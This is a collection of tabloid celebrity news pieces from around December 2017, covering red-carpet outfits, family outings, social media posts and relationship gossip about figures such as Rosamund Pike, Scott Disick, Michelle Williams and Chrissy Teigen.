'Little things play on your mind. But I learnt pretty quickly that it's not necessarily me; it's about what the client is looking for to represent their brand.

'Once I realised that perhaps I just didn't fit the bikinis or clothes the way they wanted, I relaxed and started to take care of myself for me,' Natalie continued.

Notoriety: A popular editorial model, Natalie also boasts an impressive 885,000 Instagram followers
She plays a tough Montana widow in her new film Hostiles.

But Rosamund Pike appeared ever the movie star Monday in NYC, where she turned heads in a black and white during a special screening of her new period drama.

The Gone Girl star, 38, actress flaunted her standout style donning an elegant monochrome design from Givenchy which featured a plunging neckline along with plenty of pleats and ruffles while on the red carpet.

Red carpet pro: Rosamund Pike oozed glamour in a black and white Givenchy dress word to a special screening of her new film Hostiles this Monday in NYC

Rosamund's gown dipped low to feature her pale, bare chest.

The dress's angular black bodice transitioned into cream colored pleats as it cascaded to the floor.

Turning around, the Academy Award nominee revealed an equally alluring back.

She teamed the dress with a pair of simple black heels.

Go low! Rosamund's Givenchy gown dipped low to feature her pale, bare chest

Back it up! Turning around, the Academy Award nominee revealed an equally alluring back

Pleats to meet you! The English beauty's dress had an angular black bodice which transitioned into cream colored pleats as it cascaded to the floor

Gone in a flash! The Gone Girl star teamed her dress with a pair of simple black heels

Letting the designer dress take center stage, Rosamund choose to go jewelry-free for the look.

For beauty, the English rose wore her dark blonde locks loosely with natural texture.

She added a subtle smoky effect around her eyes with a wash of grey shadow which she paired with a nude pout.

The actress joined forces with co-star Christian Bale and director Scott Cooper on the red carpet.

No extras needed: Letting the designer dress take center stage, Rosamund choose to go jewelry-free for the look

You glow girl! For beauty, the London-born talent wore her dark blonde locks loosely with natural texture

Smoke and mirrors! The starlet added a subtle smoky effect around her eyes with a wash of grey shadow which she paired with a nude pout

Dynamic trio! The actress joined forces with co-star Christian Bale (right) and director Scott Cooper (left) on the red carpet

Bale appeared slightly huskier than usual, having just packed on extra pounds to play the role of former Vice President Dick Cheney.

The 6foot tall star looked handsome in a well-tailored three piece suit worn with shortly buzzed hair and a tidy wash of stubble across his jaw.

Opposite the Batman actor, American director Cooper was stylish in a slim black suit worn with a white shirt sans tie.

The auteur styled his hair into an aerodynamic coif while leaving a sparse goatee upon his face.

Heavy role: Bale appeared slightly huskier than usual, having just packed on extra pounds to play the role of former Vice President Dick Cheney

No tie, no problem! Director Scott Cooper was stylish in a slim black suit worn with a white shirt and no tie

Chatty co-workers! It looked like the director Cooper and starlet Pike had tremendous chemistry, seen chatting it up at the event

It looked like the director and starlet Pike had tremendous chemistry, seen chatting it up at the event.

Cooper's making a mark in Hollywood, with his previous credits including 2009's Crazy Heart starring Jeff Bridges and the 2015 film Black Mass with Johnny Depp.

The Cooper, Pike, and Bale trio also gathered with castmates Wes Studi and Jonathan Majors as well as producer John Lesher for a group photo.

Later, leading man Bale took a second to pose with his wife-of-17-years Sibi.

It takes a village! Pike, Bale and Cooper posed with more of the cast and crew later, seen with producers John Lesher (far left), co-star Jonathan Majors (between Bale and Pike) and actor Wes Studi (far right)

Date night! Leading man Bale took a second to pose with his wife-of-17-years Sibi, who looked lovely in a merlot colored frock with black floral beading and a mermaid-cut skirt

The former personal assistant to Winona Rider, who is 47, looked lovely in a merlot-colored frock with black floral beading and a mermaid cut skirt.

She styled her caramel locks in romantic curls with a sleek center part before she and her love headed into the screening.

Rosamund changed into a darling black dress for the after party which featured a cold-shoulder neckline.

Rosamund changed into a darling black dress for the after party which featured a cold-shoulder neckline

A-list: Paul Bettany and Jennifer Connelly joined director Scott Cooper and David Russell at the star-studded affair

Paul Bettany and Jennifer Connelly joined director Scott Cooper and David Russell at the star-studded affair.

Earlier in the day Christian and Rosamund stopped by AOL's Build Studios to talk about the historical drama.

Hostiles is about 'a US Cavalry officer who must escort a Cheyenne war chief and his family back to their home in Montana in 1892.'

Home on the range! Earlier in the day Christian and Rosamund stopped by AOL's Build Studios to talk about the historical drama which is set in 1892 Montana

The story was conceived by Academy Award-winning screenwriter Donald E. Stewart, who has worked on hits like Patriot Games, Hunt For Red October and the 1982 film Missing, for which he was awarded his Oscar.

The period drama first premiered at Telluride Film Festival in Colorado on September 2.

Hostiles gets its theatrical debut Friday December 22 in the US.
He is a father of three.

And on Monday, Scott Disick was photographed stepping out with his firstborn, an eight-year-old son called Mason, at the Calabasas Commons.

A week to the day before Christmas, the 34-year-old soi-disant Lord teamed a crimson Vogue hoodie with an olive green pair of trousers.

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Father and son: On Monday, Scott Disick was photographed stepping out with his firstborn, an eight-year-old called Mason, at the Calabasas Commons

Scott - who is now dating Lionel Richie's 19-year-old daughter Sofia, and who was with then-19-year-old Bella Thorne earlier this year - wore Nike sneakers.

Ambling about with his hands shoved into his pockets, the Eastport, New York-born TV personality accessorized with aviator sunglasses.

At another point that day, Scott had been glimpsed wearing the selfsame outfit as he emerged solo from the Barneys New York in Beverly Hills.

Scott's got three children by his on-and-off paramour Kourtney , Mason's 2009 birth having been immortalized on an episode of Keeping Up With The Kardashians.

Apropos: A week to the day before Christmas, the 34-year-old soi-disant Lord teamed a crimson Vogue hoodie with an olive green pair of trousers

The co-parents welcomed their now five-year-old daughter Penelope into the world in 2012, and Kourtney gave birth to her youngest child, a son called Reign, in 2014.

Kourtney and Scott, who'd been introduced in 2006 by Girls Gone Wild founder Joe Francis in Mexico, last ended their romantic relationship in July of 2015.

The Kardashian family is expanding, with Kourtney's younger sister Kim Kardashian and the latter's husband Kanye West expecting a baby via surrogacy.

Kim and Kanye - who is her third husband and who married her in 2014 - already have a four-year-old daughter called North and a two-year-old son called Saint.

Swanky: At another point that day, Scott had been glimpsed wearing the selfsame outfit as he emerged solo from the Barneys New York in Beverly Hills

Meanwhile, Kim and Kourtney's younger sister Khloe Kardashian is thought to be pregnant by her Cleveland Cavalier beau Tristan Thompson - who earlier this year welcomed his first child, a son called Prince, with his ex-girlfriend Jordan Craig.

The Kardashian sisters' rotund younger brother Rob has a one-year-old daughter named Dream by his ex-fiancee Blac Chyna.

There is also a swirl of speculation that the Kardashian siblings' half-sister Kylie Jenner is pregnant at 20 by her 25-year-old rapper boyfriend Travis Scott.

Before she was with Travis, Kylie used to date a now 27-year-old rapper called Tyga, who in a bizarre twist has a five-year-old son called King Cairo by Chyna.
PR queen Roxy Jacenko's $1.4 million revamped Paddington office is already fitted with a selfie station and her own private hair and makeup salon room.

And on Tuesday, the Sydney Sweaty Betty headquarters were transformed into a teeth whitening clinic.

The 37-year-old publicist took to social media to boast about treating her 'clones' to whiter teeth at the office!

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What a bright idea! PR queen Roxy Jacenko treats her 'clones' to $5000 worth of teeth whitening treatments in her Sydney office on Tuesday

Happy days! It's believed the Sydney publicist set up the teeth whitening within her $1.4 million revamped Paddington office space as a Christmas treat to her employees

The service appeared to be provided by Sparkling White Smile, as the company was tagged in countless photos and videos from Roxy and her staff members.

'"The clones are getting white teeth, at our desks no less !!,' Roxy said, joking about how her blonde employees are often compared as look-a-likes.

In the footage, chairs could be seen strewn around the lavish office space with laser accelerator lamps nearby to activate the whitening gel.

'Team teeth whitening': The service appeared to be provided by Sparkling White Smile, as the company was tagged in countless photos and videos from Roxy and her staff members

All smiles! In the footage, chairs could be seen strewn around the lavish office space with laser accelerator lamps nearby to activate the whitening gel

Roxy told Daily Mail Australia that 18 members of staff participated in the teeth whitening, with treatments lasting up to 90 minutes.

'It was a nice treat to finish off the year before all the parties begin for the team!' she said.

The total value exceeded $5000, with each member being treated to a $300 'Triple Treatment' mobile whitening service.

Roxy, dressed in activewear, continued to work from the treatment chair as she took a selfie with a puppy dog filter and her whitening gel being applied by a hired professional.

Multi-tasking! Roxy, dressed in activewear, continued to work from the treatment chair

Working hard? At least 10 members of staff appear to have participated in the teeth whitening, with treatments lasting up to 90 minutes

'Let's call it team bonding': Beccy Cambridge took a snap of five chairs sat up in a row with ladies at the ready for their treatment

Beccy Cambridge took a snap of five chairs sat up in a row, writing: 'Let's call it... team bonding.'

Employees Danni Carrol, Grace Garrick, Gemma Oldfield and Holly Asser all documented the experience on Instagram.

Relaxing in the canvas chairs, they radiated high spirits as they posed with peace-sign fingers and uploaded giggly videos.

'Lavish!': Employees Danni Carrol, Grace Garrick, Gemma Oldfield and Holly Asser all documented the experience on Instagram

They're glowing! Roxy's Sweaty Betty employees took selfies with their laser lights in their mouth and protective goggles on

Roxy is usually seen primped and preened when stepping out and has previously revealed her Sydney headquarters was design to accommodate her glam appeal.

The recent $1.4 million revamped Paddington office is fitted with its own private hair and makeup salon room.

She's also been pictured using a Luvo selfie light ring within the office.

Glam! The recent $1.4 million revamped Paddington office is fitted with its own private hair and makeup salon room
She's a successful actress with a stellar resume.

And Michelle Williams looked stunning in a long red dress at the premiere of her latest film All the Money in the World in Los Angeles on Monday night.

The 37-year-old actress showed off her toned arms in a sleeveless crimson gown alongside her co-stars on the black carpet at the Samuel Goldwyn Theater.

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Bright star: Michelle Williams looked stunning in a long red dress at the premiere of her latest film All the Money in the World in Los Angeles on Monday night

Billowing pieces of shiny red fabric swept down her a-line dress which featured a large bow tied around her neck.

The Blue Valentine starlet's makeup looked classic with bold brows and shining highlight on her cheekbones.

Williams rocked her signature platinum blonde pixie cut and opted to go accessory-free for the event.

Stunning: The 37-year-old actress showed off her toned arms in a sleeveless crimson gown alongside her co-stars on the black carpet at the Samuel Goldwyn Theater

Glamorous: The Blue Valentine starlet's makeup looked classic with bold brows and shining highlight on her cheekbones

Taking centre-stage: The Brokeback Mountain star posed effortlessly for the crowd of photographers

Co-star Mark Wahlberg, 46, shined in a dark blue three-piece suit complete with a classic light blue tie.

Peeks of a crisp white long-sleeved shirt popped through from underneath his navy vest, which he paired with black leather shoes.

Christopher Plummer, 88, who portrays J. Paul Getty in the film, looked handsome in a navy suit and blue-and-white striped shirt.

Darling: Billowing pieces of shiny red fabric swept down her a-line dress which featured a large bow tied around her neck

Swell: Co-star Mark Wahlberg, 46, shined in a dark blue three-piece suit complete with a classic light blue tie

Dapper: Christopher Plummer, 88, who portrays J. Paul Getty in the film, looked handsome in a navy suit and blue-and-white striped shirt.

Director Ridley Scott donned an all-black ensemble clad with a brown and black scarf wrapped around his neck.

Scott's wife Giannina Facio looked wonderful in a caramel-colored corduroy dress with a matching belt cinched around her waist.

Charlie Plummer, who portrays John Paul Getty III in the film, wore a forest green suit with a striped shirt.

Darling duo: Scott's wife Giannina Facio looked wonderful in a caramel-colored corduroy dress with a matching belt cinched around her waist

Team: The Blue Valentine starlet's makeup looked classic with bold brows and shining highlight on her cheekbones

Crisp: Charlie Plummer, who portrays John Paul Getty III in the film, wore a forest green suit with a striped shirt

The director announced in November that- after completing the film - he would reshoot scenes with Plummer after allegations of sexual misconduct against Kevin Spacey surfaced.

Kevin starred as the late oil tycoon in the film about the Italian kidnapping of John Paul Getty III, and his rich grandfather's refusal to a $17 million ransom despite being the richest man in the world.

Spacey issued an apology for the first reported incident, involving actor Anthony Rapp, and has since been accused of misconduct by more than 30 men and dropped from the next season of Netflix TV series House of Cards.

Crew: The director announced in November that- after completing the film - he would reshoot scenes with Plummer after allegations of sexual misconduct against Kevin Spacey surfaced

Good work: Plummer reportedly re-shot Spacey's scenes in nine days, six weeks before its release and without any prior knowledge of Kevin's performance, and was recently nominated for a Golden Globe award for his portrayal.

Plummer reportedly re-shot Spacey's scenes in nine days, six weeks before its release and without any prior knowledge of Kevin's performance, and was recently nominated for a Golden Globe award for his portrayal.

Ridley and Michelle also received nominations for the prestigious award.

Plummer, 88, said in an interview with Reuters that he sought to bring humanity to Getty, although he said he 'made no pretense at research' for the role ahead of a nine-day reshoot in London and Rome in mid-November.

Candid: Plummer, 88, said in an interview with Reuters that he sought to bring humanity to Getty, although he said he 'made no pretense at research' for the role ahead of a nine-day reshoot in London and Rome in mid-November

Honest: He said did not see Spacey's original scenes before the re-shoot. 'I had to follow the writing, all in a very short space of time,' Plummer said

Bringing another dimension to the role: 'I saw him more vulnerable than the script suggested... so he would have some dimension and some humanity,' he said. Pictured with Charlie Plummer

He said did not see Spacey's original scenes before the re-shoot. 'I had to follow the writing, all in a very short space of time,' Plummer said.

'I saw him more vulnerable than the script suggested... so he would have some dimension and some humanity.'

Scott said he hoped the publicity around the decision to reshoot six weeks before its scheduled release would help rather than overshadow the film.

'I think it may have people attracted to it out of curiosity who normally wouldn't come and see this film.'

To be a fly on the wall: The veteran actor and respected director appeared to be locked in an intense chat
She's the radio personality known for being nice in comparison to her on-air partner Kyle Sandilands.

But on Tuesday, Jackie 'O' Henderson proved she has a slightly more naughty side, posting a revealing shot on Instagram which provided a glimpse of her cleavage.

The blonde beauty is usually known for a more demure presentation, but in the photograph the 42-year-old showcased her assets as she posed with a sultry pout.

Naughty but nice! On Tuesday, radio star Jackie 'O' Henderson (pictured), 42, shared a racy shot to Instagram that provided a glimpse of her cleavage

The radio and TV personality, who wore a floral patterned sundress for the snap, got an almost instant reaction from her social media following.

Fans were evidently impressed by the display, with one writing: 'Lee is a lucky man...Looking hot Jackie.'

Another added, 'sexy cleavage tho.'

The images come after the stunning mother-of-one publicly thanked Sydney PR maven Roxy Jacenko, who hooked her up with a $250 designer pair of personalised pyjamas.

On Sunday, the 42-year-old took the social media platform to post a selfie donning the luxury set before sending her thanks to Roxy.

Sexy: It isn't the first time radio host and TV personality Jackie O has gotten risque on social media

'Early Christmas present from @roxyjacenko and @neueblvd - obsessed with these pyjamas,' she captioned.

With a sweep of blush, the blonde stunner posed in her personalised green leaf nightwear.

Quick to see the post, Roxy commented that she looked 'gorgeous' before Jackie continued to plug the Neue Blvd brand numerous times in the captions, even revealing her six-year-old daughter Kitty was also gifted a matching pair.

Friends with benefits? The radio host recently thanked Sydney PR queen Roxy Jacenko, who gifted the mother-of-one a pair of $250 personalised pyjamas

Assuring there was no sponsorship or business strategies behind the post, Roxy told Daily Mail Australia it was just a gift to a friend with no strings attached.

'Jackie is a personal friend of mine and loved mine so for Christmas I sent her matching!' revealed Roxy.

'Jackie had no obligations to post anything from me!'

Last month, Jackie sensationally revealed she regretted not being more promiscuous in her youth when asked by Kyle & Jackie O show co-host Kyle Sandilands, 46.

'I wish I was a bit more of a slurry in my early years,' she said. 'I should have slept around a bit more.'
He's the former Bachelor hunk who is about to marry the woman of his dreams.

But even Tim Robards, personal training extraordinaire, has off days - as evidenced by his apparent forgetfulness on Tuesday afternoon.

The 35-year-old hunk posted a video on his Instagram Story of the moment he was out Christmas shopping only to realise he wasn't wearing enough clothes.

Has this ever happened to you? Tim Robards heads out for some Christmas shopping and FORGETS to wear a shirt - having to pick one up while out

'I just left home and got halfway to do some Christmas shopping and forgot a bloody shirt,' the seemingly absent-minded star said to the camera, laughing at himself.

For the average person this likely would have been a rather embarrassing affair, but Tim took it in his stride, simple walking into an About Life health food store in Sydney and picking out a new singlet along with his lunch.

And lucky he did because later in the evening he met up with 'the boys' for a pub feast.

Saved the day! For the average person this likely would have been a rather embarrassing affair, but Tim took it in his stride

I mean, we're not really complaining! Tim shows off his incredible physique while working out at the park

It has been a big year for the chiropractor, who got engaged to lawyer Anna Heinrich in May after four years together.

When asked what they are most looking forward to about being married, Anna gushed it was 'about starting a life together'.

'[I'm most looking forward to] people not asking us [anymore] about getting engaged!' Tim told Daily Mail Australia on Derby Day, in reference to fans' speculation on their relationship.

'Now it will be people asking us when we're having kids,' he laughed.

Hello handsome! It has been a big year for the chiropractor, who got engaged to lawyer Anna Heinrich in May after four years together

Almost exactly a year before their engagement, Anna and Tim took their relationship to the next level by purchasing an investment property worth $630,000 in the eastern suburbs of Brisbane together.

Meanwhile, the pair have been living comfortably in Sydney's affluent suburb of Bondi since 2014, when Anna moved into Tim's swanky beach-side apartment.

Back in 2013, sparks flew on The Bachelor from the moment the handsome 'wellness educator' locked eyes with the criminal lawyer.
Lisa Armstrong defended her union with Ant McPartlin once again this weekend, after a Twitter troll accused her of 'throwing away her marriage'.

The Strictly Come Dancing make-up artist told a social media user to 'get their facts right' when they reportedly begged her to understand Ant's recovery from an addiction to pain medication.

Lisa, 41, entered into a Twitter spat on Sunday amid claims husband Ant, 42, has moved into a rented home during the Christmas period.

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Stand by your man: Lisa Armstrong urged a Twitter user to 'get your facts rights' on Sunday, as she defended her marriage to Ant McPartlin

A post of Lisa's Twitter account reads: 'Educate yourself first love and get your facts rights. You dont know!! Sorry for your pain x'

According to the Daily Star, she was replying to a user who wrote:'Can't believe your throwing your marriage away after all them years. (sic)

'I've been addicted to codeine and unless you have been there you wouldn't understand waking up in morning kidneys hurting for the habit to be fed educate yourself about it first @LisaAmakeup.'

Biting back: Lisa responded to a Twitter user who told her to 'understand' the addiction to pain medication that husband Ant was battling earlier this year

Last month Lisa finally broke her silence on reports of marital woes with Ant following his battles with addiction.

She took to Twitter to hit back at the long-running reports that the duo have separated, as she penned on the microblogging site: 'I'm not estranged thank you'.

She added that she hadn't been to Australia for 10 years so it wasn't a surprise that she hadn't joined Ant in the jungle during his stint on I'm A Celebrity.

Instead, she stayed in the UK for her work with BBC One's Strictly and Ant returned to England from Australia last week, but it's claimed that he did not return to their marital home.

'We're not estranged': Lisa (here in 2001) broke her silence about the split when she said she was not estranged from husband of 11 years Ant

The television presenter was seen moving a mattress into a bachelor pad over the weekend, while his pal Declan Donnelly returned his beloved dog Hurley.

Ant has reportedly been living away from make-up artist Lisa since he returned from Oz, renting a house a few streets away.

The source continued: 'Dec has been acting as go-between and has been helping Ant a lot.

'He brought Hurley round to the flat for Ant as he settles in to his new place. Normally Ant goes to pick up the dog himself but this time he didn't.'

The sighting comes after rumours he will spend Christmas with his wife, 'even if it is their last'.

According to sources close to Ant, he is keen to spend another festive season with his wife of eleven years, even if it is their last one.

'She's said they will see each other over Christmas,' a source told Heat. 'Lisa would rather stay friendly than be resentful. She doesn't want to ruin what they had  this isn't a blame game.

'Ant wants to spend this Christmas with Lisa as her husband  even if this could be the last time,' they added.
She's been living in Los Angeles for more than a decade now.

But Tammin Sursok returned to Australia this week with her gorgeous family, settling straight into the summer heat by taking a beach snap.

The 34-year-old's husband Sean McEwen took a picture of his favourite girls laying side by side in the sand, his four-year-old daughter Phoenix falling asleep.

'Australia, we missed you': Tammin Sursok returns to her home town with lookalike daughter Phoenix after sharing a cryptic post about family loss

Tammin was sporting a Body Globe swimsuit for the family day and a pair of black sunglasses.

The relaxed snap is a stark contrast to her earlier Instagram post, which hinted the actress was going through an emotionally tough period.

'It's been hard for me to be on social media this week. We have been going through something as a family and it's hard to mask what we are feeling,' Tammin wrote alongside an image of herself looking away from the camera.

'Last week was the first time I've experienced loss': On Friday, Tammin Sursok (pictured) shared a cryptic post about a tough emotional experience

While the former Home And Away actress didn't reveal the source of her grief, she disclosed she wanted to be 'authentic' with her followers.

'Last week was the first time I've experienced loss. That's as much as I'm going to say right now but I do want to write about what we have been through at some point to help anyone who is also going through it,' she added.

Continuing sharing details of her emotional state, Tammin admitted to being 'angry' during what is supposed to be a festive time of year.

'We have been going through something as a family and it's hard to mask what we are feeling': Tammin opened up about her emotions without revealing all the details about her loss

'The holiday season is beautiful but sometimes you hurt and it's messy and confusing and irritating. You become angry and you don't know at who to be angry,' she explained.

'You realize that your anger just stems from pain. So if you are hurting this holiday season, for any reason, know I'm with you and I see you. And the only way out is through. Together we got this.'

Tammin shares her now four-year-old daughter Phoenix with husband Sean McEwen.

Family time: Tammin shares her now four-year-old daughter Phoenix (pictured) with husband Sean McEwen (left)

She married the movie producer in 2011, with the pair dating for four years prior.

During a recent chat with Jules Sebastian for Tea With Jules, Tammin confirmed she's ready to have a second child in 2018.

The star has been candid about her struggles in the past and in March, took to Instagram to talk about her postpartum anxiety which she said, 'hit me like a ton of bricks after I had my daughter'.
Her youthful appearance divided fans during a recent appearance on breakfast show Lorraine.

And Priscilla Presley continued to defy her 72 years as she made an appearance at LAX airport in Los Angeles on Monday evening.

The former wife of late rock and roll legend Elvis Presley commanded attention as she made her way across the terminal courtesy of her notably smooth complexion.

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Looking good: Priscilla Presley continued to defy her 72 years as she made an appearance at LAX airport in Los Angeles on Monday evening

Accentuating her features with deft touches of make-up, Priscilla  whose six-year marriage to Elvis ended in 1973  ensured she was hard to miss while preparing to catch a flight.

In keeping with her youthful features, Priscilla opted for an equally youthful ensemble comprised of monochrome roll-neck sweater and generously flared black trousers.

A cropped black leather jacket added to the look, while black heels and a matching black handbag  her only notable accessory  rounded things off.

Sign here: The 72-year old star was accosted by a fan as she made her way across the airport

Striking: The former wife of late rock and roll legend Elvis Presley commanded attention as she made her way across the terminal courtesy of her notably smooth complexion

Priscilla's latest outing comes after an appearance on the Lorraine show, where she promoted the Elvis On Tour Exhibition, divided fans across social media.

A viewer shared on the micro-blogging site: 'What has Pricilla [sic] Presley done to her face?'

'Priscilla Presley what happened to ageing gracefully? #plastic,' another posted.

One fan wrote: 'What has Priscilla Presley done to her face.....looks like she has a scary mask on'.

Stylish star: In keeping with her youthful features, Priscilla opted for an equally youthful ensemble comprised of monochrome roll-neck sweater and generously flared black trousers

Divided opinion: Priscilla's latest outing comes after an appearance on the Lorraine show, where she promoted the Elvis On Tour Exhibition, divided fans across social media

While a viewer wrote: 'Priscilla Presley looking like something from a horror movies on ITV Lorraine'

Despite the negative commentary, fans of Priscilla jumped to her defense and expressed their awe in how great she was looking.

One fan wrote: 'I know she has had a lot done but Priscilla Presley looks amazing!!! @reallorraine @ITVLorraine'

'@Cilla_Presley lovely to see you on "Good Morning" with Lorraine,' another shared. 'I always listen to Elvis. Love his music #ElvisPresley'.
She's proved that she can turn her hand to a variety of roles.

And Helen Mirren looks set to dazzle with a role in her first horror film as she plays a haunted widow in Winchester: The House That Ghosts Built.

Stills from the film, in which she stars alongside Jason Clarke, show the 72-year-old actress expertly portraying the grieving Sarah Winchester - who is based on an American heiress from the 19th century.

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Chilling co-stars: Helen Mirren looks set to dazzle with a role in her first horror film as she plays a haunted widow in Winchester: The House That Ghosts Built alongside Jason Clarke

Meanwhile, Jason takes on the role of Eric Price a psychiatrist who attempts to evaluate Sarah's mental state.

In the pictures, Dame Helen looks haunting in her mourning clothes, clad in a black lace veil teamed with a Victoriana dress.

Another creepy image shows Jason being followed by a ghostly figure.

Spine-tingling: One creepy image from the upcoming supernatural horror shows Jason - who plays a psychiatrist attempting to evaluate Sarah's mental state - being followed by a ghost

In the trailer, fans are introduced to Helen's character - Sarah, a historic figure and the resident of the 'Winchester mystery house' found in San Jose, California that is believed to be haunted.

The movie tells the story of the property and Sarah's plight to expand it, following the death of her spouse and her child, in an attempt to banish the evil spirits she thinks are locked inside.

Sarah is convinced that she was cursed and her home was haunted by the souls of those who had been killed by the Winchester rifle - her family business. She is told by a medium that she will be fine if she moved to California and started construction on a house, but never finished it.

It began as a two-story farmhouse and today boasts 160 rooms and a number of nonsensical features including a window fitted into a floor, stairs leading up to the ceiling and doors built into blank walls.

Spooktacular: In the pictures, Dame Helen looks haunting in her mourning clothes, clad in a black lace veil teamed with a Victoriana dress

Transformed: Stills from the film show the 72-year-old actress expertly portraying the grieving Sarah Winchester - who is based on an American heiress from the 19th century

Winchester: The House That Ghosts Built is set for release in March 2018 and has been directed by brothers Micheal and Peter Spierig.

Others starring in the movie include Sarah Snook, Angus Sampson, Laura Brent, Tyler Coppin and Dawayne Jordan.

Filming took place in Australia and some scenes were shot in the actual mansion located in Northern California.
She's currently living large with her best friends in Bali, celebrating her hens party four years in the making.

And former Miss Universe Australia Monika Radulovic has been wasting no time uploading bikini snaps from her resort-style digs, even donning an adorable swimsuit that has the word 'bride' emblazoned on it.

'Feeling so blessed to be spending my bachelorette week in such a magical place,' she captioned one photo post on Tuesday, tagging the Kunja villas.

Caught with your pants down! Former Miss Universe Australia Monika Radulovic shares stunning bikini photos from her hens party in Bali - before having her shorts taken OFF by a rogue monkey

And while everything seemed to be going smooth sailing for the bride-to-be, there was one element she couldn't control - the wildlife.

On a trip to the Monkey Forest in Ubud the 27-year-old encountered one of the creatures and was initially very excited to meet it.

'Life made,' she captioned a snap of her holding hands with one friendly monkey.

Uh-oh! On a trip to the Monkey Forest in Ubud the 27-year-old encountered one of the creatures and was initially very excited to meet it

Girl, look at that body! Monika confirmed last month she had finally set a date for her wedding after a four-year engagement

But moments later, she shared a second pic of the monkey trying to pull off her pants, captioning it 'not so fast mister!'

Monika confirmed last month she had finally set a date for her wedding after a four-year engagement.

The brunette bombshell took to her Instagram story to document her travels to Bali with a group of girlfriends.

Sitting on board her flight, the pageant princess revealed their travels had gotten off to a shaky start.

'I woke up ten minutes before the flight was supposed to leave, thank god I live near the airport,' she revealed.

Girls on tour! Monica took to her Instagram story to document her travels to Bali with a group of girlfriends

'I nearly missed the flight and I'm the one that is always early ... but we made it, thank the lord!' Monika's trip got off to a shaky start

'I nearly missed the flight and I'm the one that is always early ... but we made it, thank the lord!'

Arriving in Bali, Monika took to Instagram again to show off her attire for the Hen's Party - a pink sash and khaki bikini.

Posing by the pool with a friend, Monika gushed: 'Are we in heaven or what? This place is to die for!'

In paradise: Posing by the pool with a friend, Monika gushed: 'Are we in heaven or what? This place is to die for!'

Sealed with a kiss! The bride to be pouted at the camera in one Instagram video

In November, Monika confirmed she had finally set a date for marrying her longtime partner Alesandro Ljubicic.

'Lots of people think it's crazy that we've been engaged for so long, but our lives have been so busy with out careers that we haven't had any time until now to actually stop and plan a wedding,' she told The Daily Telegraph.

'I'm happy to say that after four years of engagement, wedding planning is finally on the way.'
She is currently expecting her second child with musician husband of four years, John Legend.

And Chrissy Teigen has opened up about the struggles of pregnancy, joking that she needs 'witchcraft' to cure her horrendous headaches.

The model, 32, begged fans for 'help' as she said drinking water or taking painkillers don't ease her gripe - but admitted she still 'loves' being pregnant.

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Candid: Chrissy Teigen has opened up about the struggles of pregnancy, joking that she needs 'witchcraft' to cure her horrendous headaches

'I love being pregnant. I like it more than not being pregnant,' she began in a Twitter post on Monday.

'But the headaches, my god the headaches. Someone... please help. Dont say water. Or Tylenol. Or iron. Or magnesium. I need witchcraft.'

Chrissy, who revealed she was pregnant again in November, is already mother to 20-month-old daughter Luna with husband John.

She recently expressed regret that she didn't nurse her daughter Luna 'from both boobs' when she was a baby.

In pain: The model, 32, begged for 'help' as she said drinking water or taking painkillers don't ease her gripe - but admitted that she still 'loves' being pregnant. Pictured breastfeeding 19-month-old daughter Luna

Not happy: The Lip Sync Battle star vented her struggles in a typically comical Tweet

The catwalk star took to Snapchat to share the snap of her decolletage seen from above.

In the photo, one of her breasts appears slightly larger than the othera detail Chrissy noticed and, in her trademark fashion, openly made fun of in a self-deprecating comment.

'View from above,' she wrote in a self-deprecating comment. 'I really should have nursed out of both boobs (when I nursed).'

Sweet: Chrissy, who revealed she was pregnant again in November, is already mother to 20-month-old daughter Luna with husband John Legend

Honest: She recently expressed regret that she didn't nurse her daughter Luna 'from both boobs' when she was a baby

The photo was taken when Chrissy wore a low-cut, floral dress tied in a black bow around her chest.

Chrissy has in the past been open about breastfeeding her daughter - and last year she breastfed in an impromptu scene in Fergue's MILF Money video.

Diuscussing the moment, which now features at the start of the clip, the model said it was Luna's 'natural lunch time' and realized it would be nice to capture the moment forever in film.

'It was [like], "[Lunas] here, and its MILF MoneyI would love to capture this moment with her,' Chrissy told People at the time. 'I think its beautiful.'

View from above: She recently shared this photo of her post-breastfeeding cleavage on Snapchat

Miracle: Un August, Chrissy revealed she'd given up alcohol in hopes of conceiving a second child and was embarking on IVF - having welcomed daughter Luna via the same means

The happy couple announced they were expecting their second child last month, with Chrissy enlisting the help of their adorable daughter Luna, 20 months, to reveal the news in an Instagram video clip.

Back in August, Chrissy revealed she'd given up alcohol in hopes of conceiving a second child and was embarking on IVF treatment - having welcomed daughter Luna via the same means.

Reflecting on the process, John revealed to Cosmopolitan magazine: 'I wouldn't say we can't conceive naturally, but I would say that it's enough of a challenge where it felt like we needed help.

Happy: 'We're lucky that we're living in an age where we can conceive in other ways. [IVF] brought us Luna and hopefully it will bring us a few more awesome kids, too.' (pictured in November)

Loves it: Chrissy has been open about her desire to expand her family, and recently told E! News she would love to be 'pregnant for the rest of her life' if she could

'We're lucky that we're living in an age where we can conceive in other ways. [IVF] brought us Luna and hopefully it will bring us a few more awesome kids, too.'

Chrissy has been open about her desire to expand her family, and recently told E! News she would love to be 'pregnant for the rest of her life' if she could.

She shared: 'I really want to just knock 'em out. That's my dream, I want to just be pregnant kind of for the rest of my life. Not for the rest of my life, but the rest of my fertile life. So we'll see.'

Chrissy and John married in Lake Como, Italy, in September 2013 and welcomed Luna in April three years later.
She is known for showing off her killer body in an array of sizzling bikini and lingerie snaps on social media.

But Demi Rose went one step further on Tuesday, by stripping completely naked for another titillating shoot.

The Birmingham-born beauty, 22, showed off her famous womanly curves as she posed in the nude for fans, to celebrate reaching a huge 6 million followers on Instagram.

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Naked ambition: Instagram sensation Demi Rose posed naked for a sultry shoot on Tuesday in celebration of hitting her 6 million follower mark

Rear she is! The Birmingham-born beauty, 22, showed off her famous womanly curves as she posed in the nude for fans, to celebrate reaching the milestone on Instagram

The brunette beauty certainly put on an eye-popping display in the shots - which saw her strip completely naked and pose provocatively on a bed.

With only her arms protecting her modesty, Demi let her famously ample assets and steal the show as she posed in the nude, with a hand held seductively behind her head.

Reclining sideways on the silk sheets with her legs artfully crossed, the British beauty also drew attention to her impossibly tiny waist and slim frame as she continued to smoulder for the camera.

In the nude: The brunette beauty certainly put on an eye-popping display in the shots - which saw her strip completely naked and pose provocatively on a bed

Simply the bust: With only her arms protecting her modesty, Demi let her famously ample assets and steal the show as she reclined on a bed in the nude

Chest a glimpse: Only upping the sex appeal further, the model later slipped into a raunchy leotard, which cut open at the front to display her assets to all

Only upping the sex appeal further, the model later slipped into a raunchy lace leotard, which cut to a daring thong at the rear to leave her incredibly rounded derriere on show.

While she proved her model prowess in a demure crochet unitard, she later set pulses racing again in an array of plunging bodysuits - a lace-up PVC number, and a black one-piece which cut open at the chest, to further display her busty frame.

